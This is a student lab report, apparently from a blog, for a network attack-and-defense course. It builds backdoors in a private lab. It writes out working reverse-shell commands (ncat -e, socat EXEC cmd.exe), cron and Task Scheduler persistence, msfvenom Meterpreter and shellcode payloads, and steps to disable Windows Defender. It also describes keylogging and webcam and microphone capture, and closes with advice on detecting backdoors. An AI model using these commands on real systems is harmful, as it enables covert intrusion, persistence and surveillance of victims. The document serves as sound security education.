20242317 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242317 2026-2027-1 《网络与系统攻防技术》
实验二实验报告

学号:20242317 姓名:林楚皓
实验环境:攻击机Kali Linux(IP 192.168.126.131),靶机Windows宿主机(IP 192.168.126.1)。


一、基础知识

(一)后门与反弹Shell

后门(Backdoor)是指攻击者在攻陷一台主机后,为便于后续反复进入而留下的隐蔽通道或程序。它的核心作用是绕过正常的认证与访问控制,让攻击者能够长期、稳定地重新控制目标主机,而不必每次重新发起完整攻击。

在攻防实战中,由于目标主机通常位于内网、存在NAT或防火墙,攻击者难以从外部主动连接目标,因此普遍采用反弹Shell(Reverse Shell)机制:由目标主机主动向外发起连接,回连到攻击者的监听端口。其优势是能绕过防火墙对入站连接的拦截,因为出站连接通常是放行的。

反弹Shell的一般流程为:攻击机开启监听端口→目标机主动连接攻击机→目标机的命令行(Shell)被“交”给攻击机→攻击者获得目标机的远程操作权限。

(二)netcat

netcat被誉为“网络界的瑞士军刀”,是一个功能强大的网络工具,可实现端口监听、连接建立、数据传输、端口扫描等功能,常被用于建立反弹Shell。

常用参数:

参数 作用
-l 开启监听模式
-v 显示详细连接日志
-p 端口 指定监听端口
-e 程序 连接建立后执行指定程序(如/bin/bash或cmd.exe)

(三)socat

socat(SOcket CAT)是netcat的增强版,支持更丰富的协议和数据转发方式,比netcat更强大。它通过地址描述连接两端,TCP-LISTEN:4445,fork表示监听TCP 4445端口并支持fork派生多客户端,STDIO表示绑定标准输入输出,EXEC:'cmd.exe /k',pipes表示连接建立后执行cmd.exe并启用Windows原生管道交互。

(四)cron与Windows任务计划程序

cron是Linux下用于周期性地执行某种任务或等待处理某些事件的守护进程。用户通过crontab -e编辑自己的定时任务表,每行定义一条任务,格式为:

分 时 日 月 周 命令

例如* * * * * /bin/bash /home/kali/Desktop/20242317_nc_backdoor.sh表示每分钟执行一次该脚本,从而实现后门的定时启动与持久化。crontab -l用于查看已配置的任务。

Windows任务计划程序(taskschd.msc)是Windows下对应的机制,可以按预定计划(每天、每周、每月等)、定时或系统事件触发启动程序,并可配置“重复任务间隔”“持续时间”“不管用户是否登录都运行”“隐藏”等属性,同样能实现后门的持久化启动。

(五)Metasploit框架与Meterpreter

Metasploit是当前最流行的开源渗透测试框架,集成了漏洞利用(exploit)、攻击载荷(payload)、辅助模块(auxiliary)、后渗透模块(post)等。msfconsole是其交互式控制台,msfvenom用于生成攻击载荷(如可执行后门文件、shellcode)。

Meterpreter是Metasploit内置的高级攻击载荷,运行在内存中,具备极其丰富的后渗透功能,如record_mic录制麦克风、webcam_snap拍摄摄像头、keyscan_*键盘记录、getsystem系统提权、sysinfo查看系统信息、getuid查看当前用户等。这些功能让攻击者在拿到会话后可以“像在目标本机一样”进行各种操作。

(六)免杀技术

通过编码器(如x86/shikata_ga_nai)、加壳、修改特征码等手段,使恶意程序规避杀毒软件的静态查杀与行为检测。实验中Windows Defender会拦截生成的Meterpreter后门,需通过关闭实时保护、添加排除项等方式规避。


二、实验内容

(一)实验目标

本次实验围绕“后门”的建立、持久化与利用展开,掌握后门原理及免杀技术。共五个实践内容:

1.使用netcat获取主机操作Shell,cron启动某项任务(任务自定);

2.使用socat获取主机操作Shell,任务计划启动;

3.使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell;

4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权;

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

(二)实验问题回答

问题1:例举你能想到的一个后门进入到你系统中的可能方式?

1.攻击者通过钓鱼邮件附件(如伪装成文档的恶意宏、可执行文件)诱导用户运行,释放后门;

2.利用系统或软件漏洞(如浏览器、Office、远程桌面漏洞)远程植入;

3.通过捆绑在破解软件、游戏外挂、绿色软件中分发;

4.利用供应链攻击,在正规软件更新包中植入;

5.通过U盘等移动存储介质摆渡植入;

6.内网横向移动,即先攻陷一台主机,再以此为跳板向同网段其他主机投递后门。

问题2:例举你知道的后门如何启动起来(win及linux)的方式?

(1)Linux方式:

1.cron定时任务(crontab -e,周期执行后门脚本);

2.开机自启服务(/etc/rc.local、systemd服务、/etc/init.d);

3.隐藏于/etc/profile、bash启动文件(~/.bashrc、~/.profile)中,用户登录时执行;

4.inetd/xinetd守护进程绑定后门端口。

(2)Windows方式:

1.任务计划程序(taskschd.msc,按计划或事件触发,可设重复间隔);

2.注册表自启动项(HKCU\Software\Microsoft\Windows\CurrentVersion\Run等);

3.启动文件夹(%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup);

4.服务(service)自启动,可配置为最高权限运行;

5.组策略(GPO)脚本。

问题3:Meterpreter有哪些给你印象深刻的功能?

1.record_mic:远程录制目标主机麦克风音频,实现语音监听;

2.webcam_list/webcam_snap:枚举目标摄像头并远程拍照,实现视觉监控;

3.keyscan_start/keyscan_dump:静默键盘记录,窃取用户输入的账号、密码等敏感信息;

4.getsystem:一键自动尝试多种提权技术,目标为获得系统最高SYSTEM权限;

5.sysinfo/getuid:快速获取目标系统信息与当前用户权限;

6.background/sessions:会话后台化与多会话管理,便于并行操作多个目标;

7.内存中运行、免杀性较好,难以被传统杀毒软件察觉。

问题4:如何发现自己系统有没有被安装后门?

1.检查端口监听情况:用netstat -ano(Windows)或netstat -tlnp(Linux)查看是否有未知的开放端口在监听;

2.检查进程:用任务管理器/ps -ef查看是否有可疑或陌生的进程在运行,特别关注隐藏进程;

3.检查开机自启项:查看Windows注册表自启动项、启动文件夹、任务计划程序、服务,以及Linux的cron、rc.local、systemd服务;

4.检查网络连接:用netstat或专业工具查看是否有异常的外连行为(如频繁向陌生IP发起连接);

5.对比系统文件:用chkrootkit/rkhunter(Linux)或杀毒软件全盘扫描,比对系统关键文件的校验和(如md5sum);

6.查看日志:检查系统安全日志、登录日志中是否有异常登录或操作记录;

7.使用专业检测工具:如Windows的Autoruns、Sysinternals套件,Linux的Rootkit Hunter、Tripwire等。


三、实验过程

实验准备:确认两台主机的ip

在Windows宿主机上用ipconfig查看ip并记录:
Windows网络配置

在Kali上用ip a查看网络配置,可见eth0的IP为192.168.126.131,作为攻击机地址:
Kali网络配置


(一)任务一:使用netcat获取主机操作Shell,cron启动任务

实验思路:在Windows宿主机(攻击机)开启监听,Kali(靶机)主动反弹连接,获取Kali的操作Shell;随后编写反弹脚本并用cron定时启动,实现持久化。

(1)安装ncat

Kali默认的nc不支持-e参数,直接执行ncat 192.168.126.1 4444 -e /bin/bash时报错“Command 'ncat' not found”,因此先用apt install ncat安装:
安装ncat

(2)Windows攻击机开启监听

在Windows宿主机打开PowerShell,进入C:\tools\20242317目录,执行监听命令:

ncat -lvp 4444

输出Ncat: Listening on 0.0.0.0:4444即为监听成功,窗口保持打开:
image

(3)Kali靶机发起反弹连接

在Kali终端执行(用ncat替代nc,解决-e参数不支持的问题):

ncat 192.168.126.1 4444 -e /bin/bash

执行后终端暂时“卡住”,属于正常现象,等待攻击机接收连接:
Kali反弹命令

(4)验证成功获取Shell

回到Windows监听窗口,显示Ncat: Connection from 192.168.126.131,输入Linux命令即可远程操作Kali:
Windows监听

结果证明成功获取Kali的操作Shell。

(5)编写反弹后门脚本

在Kali终端用nano编辑脚本:
编辑后门脚本

脚本内容为:

#!/bin/bash
ncat 192.168.126.1 4444 -e /bin/bash

保存退出,并添加执行权限:

chmod +x 20242317_nc_backdoor.sh

(6)添加cron定时任务

执行crontab -e,首次使用选择编辑器nano(输入1):
选择编辑器

在文件末尾添加一行(绝对路径,每分钟执行一次):

* * * * * /bin/bash /home/kali/Desktop/20242317_nc_backdoor.sh

用ctrl+O保存,Enter确定文件名,ctrl+X退出。

(7)验证cron任务

用crontab -l查看已添加的任务,确认配置正确:
查看cron任务

重新在Windows开启监听,等待1分钟左右,Kali会通过cron自动发起反弹连接,再次执行whoami等命令验证成功,证明cron定时后门生效:
cron触发验证

任务一完成!


(二)任务二:使用socat获取主机操作Shell,任务计划启动

本实验交换攻击机与靶机角色:Kali(IP 192.168.126.131)作为攻击机开启监听,Windows宿主机(IP 192.168.126.1)作为靶机运行socat反弹命令行,随后用Windows任务计划程序实现持久化。

(1)Kali攻击机开启监听

在Kali终端执行(用fork支持多客户端连接,用STDIO绑定标准输入输出实现双向交互):

socat -d -d TCP-LISTEN:4445,fork STDIO

输出监听日志即为成功,窗口保持打开:
image

(2)Windows靶机发起反弹连接

在Windows cmd中进入socat所在目录,执行反弹命令:

cd C:\tools\20242317\socat
socat.exe TCP:192.168.126.131:4445 EXEC:'cmd.exe /k',pipes

执行后出现Couldn't compute FAST_CWD pointer警告,这是Cygwin移植版的兼容提示,不影响功能,可以忽略:
socat反弹命令

(3)验证成功获取Shell

回到Kali监听窗口,显示连接成功日志(accepting connection from 192.168.126.1),输入Windows命令验证,成功获取Windows的操作Shell:
socat反弹Shell验证

(4)编写批处理后门脚本

在Windows的C:\tools\20242317\socat目录新建文本文件,重命名为20242317_socat_backdoor.bat,编辑写入:
编辑bat脚本

(5)创建任务计划

按下Win+R输入taskschd.msc回车打开任务计划程序:
任务计划程序

点击“创建基本任务”,名称填写20242317_socat_backdoor,触发器选择“每天”,操作选择“启动程序”,浏览选中刚才的bat文件:
创建基本任务摘要

(6)配置任务高级属性

在触发器编辑中,勾选“重复任务间隔”设置为5分钟,持续时间选择1天,实现定时自动重连:
触发器高级设置

在“条件”选项卡,取消勾选“只有在计算机使用交流电源时才启动此任务”:
条件设置

(7)验证任务生效

在任务计划程序库中找到20242317_socat_backdoor任务,右键选择“运行”,任务状态变为“正在运行”:
任务运行

回到Kali的socat监听窗口,收到Windows主动发起的连接,再次执行whoami验证,任务成功生效。
任务触发验证

任务二完成!


(三)任务三:MSF生成exe后门,传输并运行获取Meterpreter

本实验使用msfvenom生成Windows反弹Meterpreter后门可执行文件,通过ncat传送到Windows靶机并运行,在Kali用MSF开启监听获取Meterpreter会话。

(1)生成后门可执行文件

在Kali终端执行:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.131 LPORT=4446 -f exe -o 20242317_backdoor.exe

生成后门文件。

(2)传输后门文件

Kali段开启监听并发送文件:
image

Windows端主动连接下载:
Windows接收文件

传输成功后,C:\tools\目录下出现20242317_backdoor.exe:
2fd691fe9892a8fe56ec9c748b119bff

(3)Windows Defender拦截与免杀处理

运行后门时,Windows Defender检测到Trojan:Win32/Meterpreter.RPZ!MTB,标记为严重威胁并阻止执行:
Defender拦截

为完成本任务,需临时在Windows安全中心临时关闭“实时保护”“云提供的保护”“自动提交样本”,并添加排除文件夹C:\Users\86178\AppData\Local\Temp(MSF临时payload的默认存放目录),实现免杀规避:
关闭实时保护
添加排除项

(4)MSF开启监听

在Kali启动msfconsole:
启动msfconsole

配置监听模块,参数与生成后门时完全一致:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.126.131
set LPORT 4446
run

出现Started reverse TCP handler即为监听成功。
image

(5)Windows运行后门,获取会话

Windows中运行C:\tools\20242317_backdoor.exe(静默运行,无窗口弹出)。Kali的MSF出现Meterpreter session 1 opened,成功获取会话:
image

验证会话功能:
image

会话正常工作。

成功!


(四)任务四:Meterpreter高级功能操作与提权尝试

基于已建立的Meterpreter会话,依次完成音频录制、摄像头操作、键盘记录和权限提升尝试。

(1)麦克风音频录制

录制10秒,音频保存到/home/kali/Desktop/20242317_audio.wav:
录音

(2)摄像头操作

枚举出靶机两个摄像头(Integrated Camera、Lenovo Virtual Camera),抓拍照片保存到Kali:
摄像头操作

(3)键盘记录

keyscan_start
keyscan_dump
keyscan_stop

成功捕获到靶机用户输入的按键内容:
键盘记录

(4)提权尝试

第一次尝试getsystem:执行getsystem自动尝试多种提权技术,但报错All pipe instances are busy,提权失败:
getsystem失败

第二次尝试MS16-032漏洞提权:先关闭Defender实时保护并添加排除项,再加载漏洞模块:

background
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
run

模块在目标上写入并执行PowerShell脚本,但执行脚本时出错(An error occurred executing the script),Exploit completed, but no session was created,提权再次失败:
MS16-032提权失败

失败原因分析:MS16-032是2016年的老旧漏洞,当前Windows 11 24H2系统已通过更新修复该漏洞,漏洞本身无法触发;同时Windows Defender+AMSI拦截了PowerShell载荷。这是攻防实战中的正常现象——提权成功率高度依赖靶机系统环境。

任务四完成!


(五)任务五:MSF生成shellcode,注入pwn1获取反弹连接Shell

本任务全程在Kali虚拟机内完成,核心是基于实践1中pwn1_20242317程序的缓冲区溢出漏洞,将MSF生成的反弹Shellcode注入并执行,最终拿到反弹Shell。

(1)关闭ASLR,确认环境

临时关闭系统地址空间随机化,保证栈地址固定:
关闭ASLR

确认程序为32位(后续生成32位shellcode与之匹配):
确认32位程序

(2)生成特征字符串验证偏移

用msf-pattern_create生成100字节特征字符串(用于在gdb中定位溢出偏移):
生成特征字符串

结合实践1的结论,pwn1_20242317中foo函数缓冲区为28字节,从缓冲区起始到返回地址的偏移为32字节。

(3)生成反弹Shellcode

用msfvenom生成Linux 32位反向TCP Shellcode,并用-b剔除坏字符(空字节、换行、回车会截断gets读取):

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.126.131 LPORT=4448 -f raw -b "\x00\x0a\x0d" -o 20242317_msf_shellcode.bin

(4)编写攻击脚本

用nano编写Python攻击脚本20242317_msf_exploit.py,按“填充字节(32个A)+覆盖返回地址+NOP滑道+Shellcode”的结构拼接Payload:
编写攻击脚本

(5)开启监听并执行注入

新开终端开启4448端口监听:

ncat -lvp 4448

执行溢出攻击,将Payload输入pwn1程序:

python3 20242317_msf_exploit.py | ./pwn1_20242317

(6)验证反弹Shell

监听窗口显示Ncat: Connection from 192.168.126.131,输入命令验证:

whoami      # 输出 root
ip a        # 查看本机网络
hostname    # 输出 linchuhao

成功通过MSF生成的Shellcode注入,获得反弹连接的操作Shell:
实验五反弹Shell成功

大功告成!


四、问题及解决方案

问题1:Kali的nc -e参数无效,报错invalid option -- 'e'。

解决方案: Kali默认的nc是OpenBSD精简版netcat,出于安全考虑移除了-e参数。统一改用ncat(Nmap套件的完整版netcat,Kali用apt install ncat安装),Windows端和Linux端语法一致,完整支持-e参数。

问题2:任务三中,运行后门被Windows Defender拦截。

解决方案: 在Windows安全中心临时关闭“实时保护”“云提供的保护”“自动提交样本”,并添加排除文件夹C:\Users\86178\AppData\Local\Temp(MSF临时payload默认目录),实现免杀规避,后门得以运行并建立会话。


五、学习感悟、思考

以前,我不太理解后门的工作原理,总觉得非常神奇。但本次实验我体验了后门从建立、传输、运行到持久化的完整链路,也对免杀技术有了直观的体会。

后门之所以“防不胜防”,恰恰在于它总是借助系统本身合法的机制来实现恶意目的。比如cron任务计划程序、Windows任务计划、注册表自启动,这些本是方便系统管理的正常功能,却被攻击者用来让后门自己启动自己。但也不是一旦有后门就能轻易获取所有的操作权限(尝试提权却失败了),因为现在的Windows系统已经修复了。所以定期更新系统补丁还是很重要的。


参考资料

[1]网络工具界的“瑞士军刀” - CSDN

[2]【实用工具】socat (Socket CAT)——功能强大的网络工具 - CSDN

[3]Meterpreter超级会话详解——后渗透核心能力 - CSDN

posted @ 2026-10-15 17:27  Howard夏日清风  阅读(18)  评论(0)    收藏  举报